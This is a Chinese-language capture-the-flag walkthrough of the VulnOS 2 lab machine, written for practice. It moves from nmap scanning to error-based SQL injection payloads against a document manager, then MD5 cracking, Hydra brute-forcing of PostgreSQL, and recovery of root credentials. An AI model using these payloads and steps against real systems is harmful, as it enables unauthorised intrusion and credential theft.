准备工作
靶机基本信息
靶机名称:VulnOS
操作系统:Linux
虚拟机软件:VirtualBox
网络连接方式:桥接至物理网络
渗透测试目标:获取靶机
root
权限并读取Flag文件下载地址:1) VulnOS: 2 ~ VulnHub(VirtualBox)
2) VulnOS_2.zip_免费高速下载|百度网盘-分享无限制(VMware)
注:推荐下载VMware版本。
环境配置
靶机的网络服务存在域名,必须在攻击机的/etc/hosts
文件中添加如下内容:
Text
<IP地址> irc.example.net
信息收集
主机发现
在Kali Linux中,使用netdiscover
发现目标主机:
shell
netdiscover -r 192.168.2.0/24
可以看到网卡名称为VMware, Inc.
的设备即为靶机,IP地址为192.168.2.105
。
ICMP检测
发现设备之后,我们通过Ping
来探测目标:
shell
ping -c 10 192.168.2.105
说明我们可以Ping通目标主机。
防火墙探测
我们可以使用nmap
的-sA
和-sF
参数进行防火墙探测。
注:Nmap进行防火墙探测时,会向目标主机的网络端口发送
TCP ACK
报文 。如果目标主机端口的回复是RST
或者无回复,则目标主机大概率开启了防火墙。
shell
nmap -sA -T4 192.168.2.105
nmap -sF -T4 192.168.2.105
如图,22
、80
、6667
端口的扫描结果显示为Filtered
,判断目标主机极大概率有防火墙。
网络服务扫描
对靶机的防火墙探测结束后,我们进行初步的网络服务扫描。现在使用nmap
探测所有TCP
和UDP
端口:
shell
nmap -sS -sV -A -p- -oN ./tcp_result.txt 192.168.2.105
nmap -sU -sV -p- -oN ./udp_result.txt 192.168.2.105
服务探测
SSH服务(22端口)
SSH服务的Banner
信息如下(使用nc
工具获取):
Text
SSH-2.0-OpenSSH_6.6.1p1 Ubuntu-2ubuntu2.6
Web应用程序(80端口)
网站业务系统探查
首先使用浏览器打开网址:http://irc.example.net/
页面上没有什么关键信息,只有一条链接,点击以后直接跳转到真正的业务主页http://irc.example.net/jabc/
:
发现该网站有4个分支页面。依次点击它们,点击Documentation
标签时,发现它跳转到的页面文本区域内看上去没有任何内容:
但是在查看源代码时发现了如下敏感信息:
Text
<p><span style="color:#000000">For security reasons, this section is hidden.</span></p>
<p><span style="color:#000000">For a detailed view and documentation of our products, please visit our documentation platform at /jabcd0cs/ on the server. Just login with guest/guest</span></p>
<p><span style="color:#000000">Thank you.</span></p>
说是有一个隐藏的目录/jabcd0cs
,且为网站的管理系统,其中一份登录凭据为:
- 用户名:
guest
- 密码:
guest
而且发现了网站的核心是Drupal 7
。
尝试访问该页面(http://irc.example.net/jabcd0cs/
):
非常不错。。。开局就是后台管理。。。尝试使用网页泄露的登录凭据:
成功登录后台! (可是。。低权限用户什么的不要啊喂)
网站后台系统扫描
既然已经登录后台,那么首先使用dirsearch
扫描一波目录(必须指定Cookie
):
shell
dirsearch -u http://irc.example.net/jabcd0cs/ -i 200,301,302,304 --cookie="PHPSESSID: ************"
可以看到网站有如下目录和文件:
/docs
=> 网站说明文档目录/images
=> 网站图片目录/include
=> 网站核心目录/reports
=> 未知/templates
=> 网站模板缓存目录/uploads
=> 上传文件保存目录add.php
=> 文件上传页面admin.php
=> 后台管理员页面config.php
=> 网站基本配置文件database.sql
=> 网站SQL脚本delete.php
=> 未知edit.php
=> 文件信息编辑页面error.php
=> 错误提示页面logout.php
=> 注销登录页面profile.php
=> 用户个人信息页面search.php
=> 内容搜索页面settings.php
=> 网站设置编辑页面signup.php
=> 注册新用户页面user.php
=> 未知view.php
=> 未知index.php
=> 网站主页,重定向至out.php
同时查看了一下网站后台的功能,Home
按钮为主页,Check-in
按钮未知,Search
按钮为搜索,Add Document
按钮为上传文件,Logout
按钮为登出 。该后台的主要功能就是管理并查看上传的文件。
SQL数据库文件
下载database.sql
文件查看:
发现里面有14
张数据表,其中odm_user
表中保存着网站后台用户的登录信息。
其表结构如下:
SQL
CREATE TABLE odm_user (
id int(11) unsigned NOT NULL auto_increment,
username varchar(25) NOT NULL default '',
password varchar(50) NOT NULL default '',
department int(11) unsigned default NULL,
phone varchar(20) default NULL,
Email varchar(50) default NULL,
last_name varchar(255) default NULL,
first_name varchar(255) default NULL,
pw_reset_code char(32) default NULL,
PRIMARY KEY (id)
) ENGINE = MYISAM;
文件上传页面
点击Add Document
按钮进入文件上传界面,选择本地的一张图片,填入信息上传,提示上传成功:
点击View
查看图片:
发现图片访问成功,但是根据URL分析,该页面的逻辑似乎是先根据id
将保存在数据库中的文件路径取出,再载入文件内容到页面上。
查看/uploads
目录,发现上传文件的文件名全部变成了以序号+.dat
为格式。推测文件上传之后,网站先向数据库查询了最后的文件ID值,随后使用move_uploaded_file()
函数将文件从内存中移动到磁盘内,并将文件改名为ID值+.dat
的格式。因此我们除使用文件包含漏洞之外,无法利用文件上传漏洞。
发现SQL注入漏洞
返回主页,发现信息栏中多出了我们刚才上传的图片文件一行:
点击文本为文件名的链接,进入文件信息预览页(detail.php
):
同时通过观察HTTP参数id
和state
,推测这里应该存在SQL查询,那么我们尝试在id
参数的值最后追加一个英文逗号:http://192.168.2.105/jabcd0cs/details.php?id=7'&state=2
结果非常令人舒适:
看把孩子吓的,SQL查询语句都一下子爆出来了:
SQL
SELECT * FROM odm_user_perms WHERE odm_user_perms.uid = /*{用户ID}*/ AND odm_user_perms.fid = /*{文件ID}*/ AND odm_user_perms.rights>=1;
BurpSuite,启动!
尝试使用sleep()
函数(使id
参数值为7+and+sleep(60)-- -
,这样SQL语句就变成了如下状态):
SQL
SELECT * FROM odm_user_perms WHERE odm_user_perms.uid = 2 AND odm_user_perms.fid = 7+and+sleep(60)-- - AND odm_user_perms.rights>=1
好啊,年轻就是好,倒头就睡(bushi
渗透测试
更换SQL注入点
验证了SQL漏洞之后,我们将id
的值设置为:7+and+extractvalue(1,concat(0x7e,(select+version()),0x7e))
,这样就能使用报错注入的方式注出MySQL的版本信息。
可以得知MySQL
的版本为5.5.47。
但好景不长,接下来进行进一步注入时,发现当我的输入中存在_
符号时,程序会将字符串中从下划线开始到结束的部分全部删除,且尝试了很久还是无法绕过,无奈之下只好再次寻找注入点。
很快,我就在edit.php
中找到了新注入点,参数还是id
:
SQL语句如下:
SQL
SELECT odm_user_perms.rights FROM odm_user_perms WHERE uid = /*{用户ID}*/ and fid = /*{文件ID}*/
尝试加入_
号,查看是否会删除该符号和后面的字符串:
Text
GET /jabcd0cs/edit.php?id=7aaa_bbb'&state=3 HTTP/1.1
Host: irc.example.net
成功!
获取管理员账号信息
接下来获取数据库名:7+and+extractvalue(1,concat(0x7e,(select+database()),0x7e))
得知当前数据库名为:jabcd0cs
根据之前SQL数据库文件的信息,我们对odm_user
表进行注入。
先获取表中的列数:7+and+updatexml(1,concat(0x7e,(select%20count(id)%20from%20odm_user),0x7e),1)
SQL
SELECT odm_user_perms.rights FROM odm_user_perms WHERE uid = 2 and fid = 7+and+updatexml(1,concat(0x7e,(select%20count(id)%20from%20odm_user),0x7e),1)
可以得知数据表中只有两列数据
接下来获取表中的第一个用户名信息:7+and+updatexml(1,concat(0x7e,(select%20username%20from%20odm_user%20limit%201),0x7e),1)
SQL
SELECT odm_user_perms.rights FROM odm_user_perms WHERE uid = 2 and fid = 7+and+updatexml(1,concat(0x7e,(select%20username%20from%20odm_user%20limit%201),0x7e),1)
嗯,第一个用户名是webmin
,那剩下的那一个自然是guest
了。
获取webmin
用户的密码:7+and+updatexml(1,concat(0x7e,(select%20password%20from%20odm_user%20limit%201),0x7e),1)
SQL
SELECT odm_user_perms.rights FROM odm_user_perms WHERE uid = 2 and fid = 7+and+updatexml(1,concat(0x7e,(select%20password%20from%20odm_user%20limit%201),0x7e),1)
直接获取到了MD5值:b78aae356709f8c31118ea613980954
访问如下网站破解MD5:MD5免费在线解密破解_MD5在线加密-SOMD5
在输入框内粘贴跑出的MD5密文,点击解密按钮,很快就能获取到明文密码:
现已得知网站后台管理员的登录信息:
- 用户名:
webmin
- 密码:
webmin1980
按照惯例,尝试将上述登录信息用于SSH
登录:
成功!!!
权限提升
进入系统,首先看看自己在什么目录下:
Text
$ pwd
/home/webmin
查看用户家目录下的文件,发现有一个名为post.tar.gz
的压缩包文件:
shell
ls -lA
file post.tar.gz
尝试解压看一看:
shell
tar -xzvf post.tar.gz
发现里面是一份Hydra
暴力破解工具的源码。更可疑的是,目录下还有一份名为postgres_ext.h
的文件,有可能暗示我们需要暴力破解PostgreSQL
数据库。
先放着不管,继续收集进程信息:
shell
ps -aux
看看看看,发现了什么好东西ヽ(°▽°)ノ
发现了PostgreSQL
进程之后,我们需要确定其监听的网络端口:
shell
netstat -nlp
得知PostgreSQL
监听的端口为5432
知道了端口号之后,我们就可以对其进行暴力破解了。
先对家目录下的Hydra
源码进行编译:
shell
cd post
./configure
make && make install
然后上传以下字典文件到靶机:
/usr/share/wordlists/metasploit/postgres_default_user.txt
/usr/share/wordlists/metasploit/postgres_default_pass.txt
随后使用刚编译的Hydra
破解5432端口的PostgreSQL
:
shell
./hydra -L postgres_default_user.txt -P postgres_default_pass.txt -e nsr 127.0.0.1 postgres
可以看到用户名密码已经破解成功:
- 用户名:
postgres
- 密码:
postgres
直接登录数据库:
Text
$ psql -h 127.0.0.1 -p 5432 -U postgres
Password for user postgres: ********
psql (9.3.11)
SSL connection (cipher: DHE-RSA-AES256-GCM-SHA384, bits: 256)
Type "help" for help.
postgres=#
注:
PostgreSQL
数据库的常用命令 --
\q
=> 断开连接
\l
=> 查看所有数据库
\c
=> 切换数据库
\d
=> 查看数据库信息
\d <table_name>
=> 查看表信息
\db
=> 查看表空间信息
查看所有数据库:
在依次查看数据库内容时,发现system
数据库内有如下敏感信息:
SQL
\c system
\dt system
SELECT * FROM users;
得知靶机其它用户的登录信息:
- 用户名:
vulnosadmin
- 密码:
c4nuh4ckm3tw1c3
直接登录:
成功!!
查看该用户家目录下文件,只发现一个名为r00t.blend
的文件:
百度了一下,发现是3D建模文件,需要用Blender
软件打开。
将其下载到本地,使用建模软件打开之后,在建模内的白色正方体中发现了root
用户密码信息(已将文本框拖出):
- 用户名;
root
- 密码:
ab12fg//drg
直接尝试登录:
提权成功!!!
Flag信息公示
文件名:
flag.txt
文件大小:165 B
MD5:aefc1df838f6fcdeb8eb16c32ce222a9
SHA256:411935fe4f67a98718cb8c917a146946bca0c57a1c27e9bf0c080db1057efce8
文件内容:
Text
Hello and welcome.
You successfully compromised the company "JABC" and the server completely !!
Congratulations !!!
Hope you enjoyed it.
What do you think of A.I.?